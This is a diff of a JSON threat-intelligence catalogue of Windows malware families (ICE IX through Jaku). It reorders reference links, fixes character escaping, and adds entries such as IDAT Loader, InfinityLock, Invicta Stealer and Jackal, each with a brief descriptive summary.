@@ -28674,14 +30026,14 @@ "value": "win.icexloader" }, { - "description": "The ICE IX bot is a banking trojan derived of the Zeus botnet because it uses significant parts of Zeus’s source code. ICE IX communicates using the HTTP protocol, so it can be considered to be a third-generation botnet. While it has been used for a variety of purposes, a primary threat of ICE IX comes from its manipulation of banking operations on compromised machines. As with any bot, execution of the bot results in establishing a master-slave relationship between the botmaster and the compromised computer.", + "description": "The ICE IX bot is a banking trojan derived of the Zeus botnet because it uses significant parts of Zeus\u2019s source code. ICE IX communicates using the HTTP protocol, so it can be considered to be a third-generation botnet. While it has been used for a variety of purposes, a primary threat of ICE IX comes from its manipulation of banking operations on compromised machines. As with any bot, execution of the bot results in establishing a master-slave relationship between the botmaster and the compromised computer.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_ix", "https://www.virusbulletin.com/virusbulletin/2012/08/inside-ice-ix-bot-descendent-zeus", + "https://blog.trendmicro.com/trendlabs-security-intelligence/zeus-gets-another-update/", "https://securelist.com/ice-ix-not-cool-at-all/29111/", - "https://securelist.com/ice-ix-the-first-crimeware-based-on-the-leaked-zeus-sources/29577/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/zeus-gets-another-update/" + "https://securelist.com/ice-ix-the-first-crimeware-based-on-the-leaked-zeus-sources/29577/" ], "synonyms": [], "type": [] @@ -28708,10 +30060,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.iconic_stealer", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/3cx-supply-chain-attack", - "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise", "https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack", - "https://www.volexity.com/blog/2023/03/30/3cx-supply-chain-compromise-leads-to-iconic-incident/", - "https://www.trendmicro.com/en_us/research/23/c/information-on-attacks-involving-3cx-desktop-app.html" + "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise", + "https://www.trendmicro.com/en_us/research/23/c/information-on-attacks-involving-3cx-desktop-app.html", + "https://www.volexity.com/blog/2023/03/30/3cx-supply-chain-compromise-leads-to-iconic-incident/" ], "synonyms": [], "type": [] @@ -28723,6 +30075,7 @@ "description": "", "meta": { "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.icyheart", "https://malpedia.caad.fkie.fraunhofer.de/details/win.icyheart" ], "synonyms": [ @@ -28733,6 +30086,19 @@ "uuid": "bcc8b6ea-9295-4a22-a70d-422b1fd9814e", "value": "IcyHeart" }, + { + "description": "According to Rapid7, this is a loader first spotted in July 2023. It implements several evasion techniques including Process Doppelg\u00e4nging, DLL Search Order Hijacking, and Heaven's Gate. IDAT loader got its name as the threat actor stores the malicious payload in the IDAT chunk of PNG file format.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.idat_loader", + "https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1033c988-41db-4f16-9e40-670397b50db8", + "value": "IDAT Loader" + }, { "description": "", "meta": { @@ -28751,9 +30117,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.iisniff", - "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf", "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware.pdf", "https://www.welivesecurity.com/2021/08/06/anatomy-native-iis-malware/", + "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf", "https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Curious-Case-of-the-Malicious-IIS-Module/" ], "synonyms": [], @@ -28782,8 +30148,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.imecab", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east", - "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east" ], "synonyms": [], "type": [] @@ -28796,16 +30162,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.imminent_monitor_rat", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/", "https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/", - "https://www.atomicmatryoshka.com/post/infographic-apts-in-south-america", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", - "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", + "https://www.tripwire.com/state-of-security/featured/man-jailed-using-webcam-rat-women-bedrooms/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/", - "https://www.politie.nl/nieuws/2021/mei/19/04-aanhouding-in-onderzoek-naar-cybercrime.html", + "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", + "https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", - "https://www.tripwire.com/state-of-security/featured/man-jailed-using-webcam-rat-women-bedrooms/" + "https://www.politie.nl/nieuws/2021/mei/19/04-aanhouding-in-onderzoek-naar-cybercrime.html", + "https://www.atomicmatryoshka.com/post/infographic-apts-in-south-america" ], "synonyms": [], "type": [] @@ -28831,8 +30197,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.incontroller", - "https://www.mandiant.com/resources/blog/cyber-operations-russian-vulkan", - "https://twitter.com/silascutler/status/1514366443277766656" + "https://twitter.com/silascutler/status/1514366443277766656", + "https://www.mandiant.com/resources/blog/cyber-operations-russian-vulkan" ], "synonyms": [], "type": [] @@ -28882,31 +30248,31 @@ "value": "Industrial Spy" }, { - "description": "Industroyer is a malware framework considered to have been used in the cyberattack on Ukraine’s power grid on December 17, 2016. The attack cut a fifth of Kiev, the capital, off power for one hour. It is the first ever known malware specifically designed to attack electrical grids.", + "description": "Industroyer is a malware framework considered to have been used in the cyberattack on Ukraine\u2019s power grid on December 17, 2016. The attack cut a fifth of Kiev, the capital, off power for one hour. It is the first ever known malware specifically designed to attack electrical grids.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer", - "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/", - "https://www.secureworks.com/research/threat-profiles/iron-viking", - "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", - "https://cert.gov.ua/article/39518", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security", - "https://www.welivesecurity.com/2017/06/12/industroyer-biggest-threat-industrial-control-systems-since-stuxnet/", - "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", - "https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics", - "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", - "https://www.virusbulletin.com/conference/vb2017/abstracts/last-minute-paper-industroyer-biggest-threat-industrial-control-systems-stuxnet/", - "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", - "https://hub.dragos.com/hubfs/Whitepaper-Downloads/Dragos_Manufacturing%20Threat%20Perspective_1120.pdf", - "https://en.wikipedia.org/wiki/Industroyer", - "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", + "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics", + "https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security", + "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too", + "https://www.virusbulletin.com/conference/vb2017/abstracts/last-minute-paper-industroyer-biggest-threat-industrial-control-systems-stuxnet/", + "https://www.secureworks.com/research/threat-profiles/iron-viking", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://hub.dragos.com/hubfs/Whitepaper-Downloads/Dragos_Manufacturing%20Threat%20Perspective_1120.pdf", + "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", + "https://en.wikipedia.org/wiki/Industroyer", + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", + "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf", + "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/", "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", - "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", - "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too" + "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", + "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", + "https://cert.gov.ua/article/39518", + "https://www.welivesecurity.com/2017/06/12/industroyer-biggest-threat-industrial-control-systems-since-stuxnet/" ], "synonyms": [ "Crash", @@ -28922,28 +30288,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer2", - "https://twitter.com/silascutler/status/1513870210398363651", - "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/", - "https://www.youtube.com/watch?v=mrTdSdMMgnk", "https://www.nozominetworks.com/blog/industroyer2-nozomi-networks-labs-analyzes-the-iec-104-payload/", - "https://blog.scadafence.com/industroyer2-attack", "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", - "https://cert.gov.ua/article/39518", - "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", - "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", - "https://blogs.blackberry.com/en/2022/05/threat-thursday-malware-rebooted-how-industroyer2-takes-aim-at-ukraine-infrastructure", - "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", - "https://www.ntop.org/cybersecurity/how-ntopng-monitors-iec-60870-5-104-traffic/", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://blog.eset.ie/2022/04/12/industroyer2-industroyer-reloaded/", - "https://www.splunk.com/en_us/blog/security/threat-update-industroyer2.html", - "https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf", - "https://www.netresec.com/?page=Blog&month=2022-04&post=Industroyer2-IEC-104-Analysis", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://twitter.com/silascutler/status/1513870210398363651", + "https://www.ntop.org/cybersecurity/how-ntopng-monitors-iec-60870-5-104-traffic/", + "https://pylos.co/2022/04/23/industroyer2-in-perspective/", "https://www.nozominetworks.com/downloads/US/Nozomi-Networks-WP-Industroyer2.pdf", "https://www.mandiant.com/resources/industroyer-v2-old-malware-new-tricks", - "https://pylos.co/2022/04/23/industroyer2-in-perspective/" + "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", + "https://www.mandiant.com/resources/blog/gru-disruptive-playbook", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://blogs.blackberry.com/en/2022/05/threat-thursday-malware-rebooted-how-industroyer2-takes-aim-at-ukraine-infrastructure", + "https://blog.scadafence.com/industroyer2-attack", + "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://www.splunk.com/en_us/blog/security/threat-update-industroyer2.html", + "https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/", + "https://www.netresec.com/?page=Blog&month=2022-04&post=Industroyer2-IEC-104-Analysis", + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "https://cert.gov.ua/article/39518", + "https://blog.eset.ie/2022/04/12/industroyer2-industroyer-reloaded/" ], "synonyms": [], "type": [] @@ -28964,6 +30331,19 @@ "uuid": "7638ac2e-0cdc-4101-8e3d-54b7b74a9c92", "value": "Inferno" }, + { + "description": "InfinityLock ransomware is a type of malicious software that encrypts a victim's files and demands a ransom payment in order to decrypt them. It is spread through phishing emails and malicious websites. Once a computer is infected with InfinityLock, it encrypts all important files, such as documents, photos, and videos. It then displays a message that demands the victim pay a ransom of $1,000 in Bitcoin in order to decrypt the files. If the victim does not pay the ransom, the files will be lost permanently.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.infinitylock", + "https://anti-spyware-101.com/remove-infinitylock-ransomware" + ], + "synonyms": [], + "type": [] + }, + "uuid": "37fca614-e29a-4029-8afd-d3de61aa3ba0", + "value": "InfinityLock" + }, { "description": "Ransomware.", "meta": { @@ -28982,15 +30362,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.infy", - "http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/", - "http://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/", - "https://download.bitdefender.com/resources/files/News/CaseStudies/study/393/Bitdefender-Whitepaper-Iranian-APT-Makes-a-Comeback-with-Thunder-and-Lightning-Backdoor-and-Espionage-Combo.pdf", - "https://research.checkpoint.com/2021/after-lightning-comes-thunder/", + "https://cloud.tencent.com/developer/article/1738806", "https://github.com/pan-unit42/iocs/blob/master/prince_of_persia/hashes.csv", "https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/", - "https://cloud.tencent.com/developer/article/1738806", + "https://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/", + "http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/", + "https://download.bitdefender.com/resources/files/News/CaseStudies/study/393/Bitdefender-Whitepaper-Iranian-APT-Makes-a-Comeback-with-Thunder-and-Lightning-Backdoor-and-Espionage-Combo.pdf", "https://www.intezer.com/prince-of-persia-the-sands-of-foudre/", - "https://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/" + "https://research.checkpoint.com/2021/after-lightning-comes-thunder/", + "http://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/" ], "synonyms": [ "Foudre" @@ -29052,19 +30432,32 @@ "uuid": "fa022849-248c-4620-86b4-2a36c704b288", "value": "Interception (Windows)" }, + { + "description": "According to Cyble, The Invicta Stealer can collect system information, system hardware details, wallet data, and browser data and extract information from applications like Steam and Discord.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.invicta_stealer", + "https://blog.cyble.com/2023/05/25/invicta-stealer-spreading-through-phony-godaddy-refund-invoices/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "00a078bf-90db-4275-b7bd-0da757dd2284", + "value": "Invicta Stealer" + }, { "description": "InvisiMole had a modular architecture, starting with a wrapper DLL, and performing its activities using two other modules that were embedded in its resources, named RC2FM and RC2CL. They were feature-rich backdoors and turned the affected computer into a video camera, letting the attackers to spy the victim. \r\nThe malicious actors behind this malware were active at least since 2013 in highly targeted campaigns with only a few dozen compromised computers in Ukraine and Russia. The wrapper DLL posed as a legitimate mpr.dll library and was placed in the same folder as explorer.exe, which made it being loaded during the Windows startup into the Windows Explorer process instead of the legitimate library.\r\nMalware came in both 32-bit and 64-bit versions, which made this persistence technique functional on both architectures.\r\n\r\nThe smaller of the modules, RC2FM, contained a backdoor with fifteen supported commands indexed by numbers. The commands could perform simple changes on the system and spying features like capturing sounds, taking screenshots or monitoring all fixed and removable drives.\r\n\r\nThe second module, RC2CL, offered features for collecting as much data about the infected computer as possible, rather than for making system changes. The module supported up to 84 commands such as file system operations, file execution, registry key manipulation, remote shell activation, wireless network scanning, listing of installed software etc. Though the backdoor was capable of interfering with the system (e.g. to log off a user, terminate a process or shut down the system), it mostly provided passive operations. Whenever possible, it tried to hide its activities by restoring the original file access time or safe-deleting its traces. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.invisimole", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal/", "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", + "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", + "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", "https://cocomelonc.github.io/malware/2022/11/27/malware-tricks-24.html", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", - "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", - "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", - "https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal/" + "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf" ], "synonyms": [], "type": [] @@ -29087,13 +30480,13 @@ "value": "Ironcat" }, { - "description": " IRONHALO is a downloader that uses the HTTP protocol to retrieve a Base64 encoded payload from a hard-coded command-and-control (CnC) server and uniform resource locator (URL) path.\r\n The encoded payload is written to a temporary file, decoded and executed in a hidden window. The encoded and decoded payloads are written to files named igfxHK[%rand%].dat and igfxHK[%rand%].exe respectively, where [%rand%] is a 4-byte hexadecimal number based on the current timestamp. It persists by copying itself to the current user’s Startup folder.", + "description": " IRONHALO is a downloader that uses the HTTP protocol to retrieve a Base64 encoded payload from a hard-coded command-and-control (CnC) server and uniform resource locator (URL) path.\r\n The encoded payload is written to a temporary file, decoded and executed in a hidden window. The encoded and decoded payloads are written to files named igfxHK[%rand%].dat and igfxHK[%rand%].exe respectively, where [%rand%] is a 4-byte hexadecimal number based on the current timestamp. It persists by copying itself to the current user\u2019s Startup folder.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ironhalo", + "https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html", "https://www.symantec.com/security-center/writeup/2015-122210-5128-99", "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html", "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" ], "synonyms": [], @@ -29116,36 +30509,36 @@ "value": "IronNetInjector" }, { - "description": "", + "description": "According to Recorded Future, IsaacWiper is a destructive malware that overwrites all physical disks and logical volumes on a victim\u2019s machine.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.isaacwiper", - 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"https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization", - "https://research.nccgroup.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf", - "https://securityintelligence.com/posts/ursnif-cerberus-android-malware-bank-transfers-italy/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://threatresearch.ext.hp.com/detecting-ta551-domains/", - "https://www.hornetsecurity.com/en/security-information/firefox-send-sends-ursnif-malware/", - "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf", - "https://blog.malwarebytes.com/threat-analysis/2017/04/binary-options-malvertising-campaign-drops-isfb-banking-trojan/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://github.com/gbrindisi/malware/tree/master/windows/gozi-isfb", + "https://blog.yoroi.company/research/ursnif-long-live-the-steganography/", + "https://www.bridewell.com/insights/news/detail/hunting-for-ursnif", + "https://www.cylance.com/en_us/blog/threat-spotlight-ursnif-infostealer-malware.html", + "https://www.darktrace.com/en/blog/the-resurgence-of-the-ursnif-banking-trojan/", + "https://www.proofpoint.com/us/blog/threat-insight/out-sandbox-wikiloader-digs-sophisticated-evasion", + "https://www.proofpoint.com/us/threat-insight/post/urlzone-top-malware-japan-while-emotet-and-line-phishing-round-out-landscape-0", + "https://www.zdnet.com/article/ursnif-trojan-has-targeted-over-100-italian-banks/", + "https://www.esentire.com/blog/batloader-continues-to-abuse-google-search-ads-to-deliver-vidar-stealer-and-ursnif", + "https://kostas-ts.medium.com/ursnif-vs-italy-il-pdf-del-destino-5c83d6281072", "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", - "https://www.cyberbit.com/new-ursnif-malware-variant/", - "https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/", - "https://0xc0decafe.com/malware-analysts-guide-to-aplib-decompression/", "https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex", - "https://www.proofpoint.com/us/blog/security-briefs/ta544-targets-italian-organizations-ursnif-malware" + "https://blog.group-ib.com/gozi-latest-ttps", + "https://www.vkremez.com/2018/08/lets-learn-in-depth-reversing-of-recent.html", + "https://journal.cecyf.fr/ojs/index.php/cybin/article/view/15", + "https://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/", + "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf", + "https://www.cyberbit.com/blog/endpoint-security/new-ursnif-malware-variant/" ], "synonyms": [ "Gozi ISFB", @@ -29270,11 +30669,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ismagent", - "https://unit42.paloaltonetworks.com/atoms/evasive-serpens/", "http://www.clearskysec.com/ismagent/", "https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/greenbug-espionage-telco-south-asia", - "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae" + "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", + "https://unit42.paloaltonetworks.com/atoms/evasive-serpens/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/greenbug-espionage-telco-south-asia" ], "synonyms": [], "type": [] @@ -29287,11 +30686,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ismdoor", - "http://www.clearskysec.com/greenbug/", - "https://unit42.paloaltonetworks.com/atoms/evasive-serpens/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/greenbug-espionage-telco-south-asia", + "https://web.archive.org/web/20190331181353/https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon", "https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon", - "https://web.archive.org/web/20190331181353/https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon" + "https://unit42.paloaltonetworks.com/atoms/evasive-serpens/", + "http://www.clearskysec.com/greenbug/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/greenbug-espionage-telco-south-asia" ], "synonyms": [], "type": [] @@ -29318,8 +30717,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.israbye", - "https://twitter.com/malwrhunterteam/status/1085162243795369984", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/" + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://twitter.com/malwrhunterteam/status/1085162243795369984" ], "synonyms": [], "type": [] @@ -29345,13 +30744,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.isspace", - "https://wikileaks.org/vault7/document/2015-09-20150911-280-CSIT-15085-NfLog/2015-09-20150911-280-CSIT-15085-NfLog.pdf", - "http://researchcenter.paloaltonetworks.com/2017/01/unit42-dragonok-updates-toolset-targets-multiple-geographic-regions/", - "https://unit42.paloaltonetworks.com/atoms/shallowtaurus/", - "https://www.secureworks.com/research/threat-profiles/bronze-express", "https://www.secureworks.com/research/threat-profiles/bronze-overbrook", + "https://wikileaks.org/vault7/document/2015-09-20150911-280-CSIT-15085-NfLog/2015-09-20150911-280-CSIT-15085-NfLog.pdf", + "https://unit42.paloaltonetworks.com/watering-hole-attack-on-aerospace-firm-exploits-cve-2015-5122-to-install-isspace-backdoor/", + "https://unit42.paloaltonetworks.com/atoms/shallowtaurus/", "http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf", - "https://unit42.paloaltonetworks.com/watering-hole-attack-on-aerospace-firm-exploits-cve-2015-5122-to-install-isspace-backdoor/" + "http://researchcenter.paloaltonetworks.com/2017/01/unit42-dragonok-updates-toolset-targets-multiple-geographic-regions/", + "https://www.secureworks.com/research/threat-profiles/bronze-express" ], "synonyms": [ "NfLog RAT" @@ -29374,6 +30773,19 @@ "uuid": "5710dffa-ec02-4e5c-848e-47af13f729d7", "value": "IXWare" }, + { + "description": "According to Kaspersky Labs, this malware tool set has been used by APT group GoldenJackal, which has been observed since 2019 and which usually targets government and diplomatic entities in the Middle East and South Asia with espionage. It consists of multiple components and is written in .NET.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.jackal", + "https://securelist.com/goldenjackal-apt-group/109677/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5f601f0a-13f7-40b5-9cf1-2eb50d5bad64", + "value": "Jackal" + }, { "description": "", "meta": { @@ -29391,12 +30803,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.jaff", - "https://clairelevin.github.io/malware/2023/02/14/jaff.html", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://intel471.com/blog/a-brief-history-of-ta505", "http://malware-traffic-analysis.net/2017/05/16/index.html", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://www.proofpoint.com/us/threat-insight/post/jaff-new-ransomware-from-actors-behind-distribution-of-dridex-locky-bart" + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.proofpoint.com/us/threat-insight/post/jaff-new-ransomware-from-actors-behind-distribution-of-dridex-locky-bart", + "https://clairelevin.github.io/malware/2023/02/14/jaff.html", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf" ], "synonyms": [], "type": [] @@ -29421,10 +30833,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.jaku", - "https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146", "https://securelist.com/whos-really-spreading-through-the-bright-star/68978/", + "https://www.forcepoint.com/sites/default/files/resources/files/report_jaku_analysis_of_botnet_campaign_en_0.pdf", "https://www.brighttalk.com/webcast/7451/538775", - "https://www.forcepoint.com/sites/default/files/resources/files/report_jaku_analysis_of_botnet_campaign_en_0.pdf" + 